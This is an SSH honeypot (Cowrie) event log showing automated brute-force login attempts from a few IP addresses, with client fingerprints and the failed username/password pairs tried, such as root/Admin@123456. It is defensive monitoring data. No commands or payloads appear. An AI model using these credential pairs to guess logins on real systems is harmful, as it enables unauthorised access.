{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:17.989374Z","src_ip":"5.196.136.131","session":"bf5657ec73f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:18.238713Z","src_ip":"5.196.136.131","session":"bf5657ec73f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.27.12.122","src_port":38200,"dst_ip":"10.17.0.5","dst_port":22,"session":"2296fddd9f60","protocol":"ssh","message":"New connection: 125.27.12.122:38200 (10.17.0.5:22) [session: 2296fddd9f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:19.201365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:19.206537Z","src_ip":"125.27.12.122","session":"2296fddd9f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:19.320634Z","src_ip":"5.196.136.131","session":"bf5657ec73f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:19.465500Z","src_ip":"125.27.12.122","session":"2296fddd9f60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2022!@#","message":"login attempt [root/unitedstates2022!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:20.245500Z","src_ip":"125.27.12.122","session":"2296fddd9f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:21.507265Z","src_ip":"125.27.12.122","session":"2296fddd9f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":47695,"dst_ip":"10.17.0.5","dst_port":22,"session":"421432d7a64c","protocol":"ssh","message":"New connection: 5.196.136.131:47695 (10.17.0.5:22) [session: 421432d7a64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:22.241378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:22.246136Z","src_ip":"5.196.136.131","session":"421432d7a64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:22.327015Z","src_ip":"5.196.136.131","session":"421432d7a64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:22.556515Z","src_ip":"5.196.136.131","session":"421432d7a64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:23.636051Z","src_ip":"5.196.136.131","session":"421432d7a64c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":27530,"dst_ip":"10.17.0.5","dst_port":22,"session":"41afe3423967","protocol":"ssh","message":"New connection: 5.196.136.131:27530 (10.17.0.5:22) [session: 41afe3423967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:26.822196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:26.828572Z","src_ip":"5.196.136.131","session":"41afe3423967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:26.909323Z","src_ip":"5.196.136.131","session":"41afe3423967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:27.143744Z","src_ip":"5.196.136.131","session":"41afe3423967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:28.224989Z","src_ip":"5.196.136.131","session":"41afe3423967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":26318,"dst_ip":"10.17.0.5","dst_port":22,"session":"8658dd2c947b","protocol":"ssh","message":"New connection: 5.196.136.131:26318 (10.17.0.5:22) [session: 8658dd2c947b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:31.244040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:31.248610Z","src_ip":"5.196.136.131","session":"8658dd2c947b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:31.324074Z","src_ip":"5.196.136.131","session":"8658dd2c947b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:31.550318Z","src_ip":"5.196.136.131","session":"8658dd2c947b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:32.628829Z","src_ip":"5.196.136.131","session":"8658dd2c947b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":56238,"dst_ip":"10.17.0.5","dst_port":22,"session":"13120566a4d6","protocol":"ssh","message":"New connection: 5.196.136.131:56238 (10.17.0.5:22) [session: 13120566a4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:35.657652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:35.662034Z","src_ip":"5.196.136.131","session":"13120566a4d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:35.749346Z","src_ip":"5.196.136.131","session":"13120566a4d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:35.986800Z","src_ip":"5.196.136.131","session":"13120566a4d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:37.068333Z","src_ip":"5.196.136.131","session":"13120566a4d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":37466,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3768500d26f","protocol":"ssh","message":"New connection: 91.92.40.176:37466 (10.17.0.5:22) [session: c3768500d26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:39.668917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:39.672840Z","src_ip":"91.92.40.176","session":"c3768500d26f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:39.755045Z","src_ip":"91.92.40.176","session":"c3768500d26f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":49173,"dst_ip":"10.17.0.5","dst_port":22,"session":"49923f860dff","protocol":"ssh","message":"New connection: 5.196.136.131:49173 (10.17.0.5:22) [session: 49923f860dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:40.077949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:40.081281Z","src_ip":"5.196.136.131","session":"49923f860dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"welcome","message":"login attempt [nginx/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:40.108318Z","src_ip":"91.92.40.176","session":"c3768500d26f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:40.157319Z","src_ip":"5.196.136.131","session":"49923f860dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:40.388048Z","src_ip":"5.196.136.131","session":"49923f860dff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:41.194620Z","src_ip":"91.92.40.176","session":"c3768500d26f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:41.467122Z","src_ip":"5.196.136.131","session":"49923f860dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":59855,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a9000d2dc0","protocol":"ssh","message":"New connection: 5.196.136.131:59855 (10.17.0.5:22) [session: d8a9000d2dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:44.455362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:44.458707Z","src_ip":"5.196.136.131","session":"d8a9000d2dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 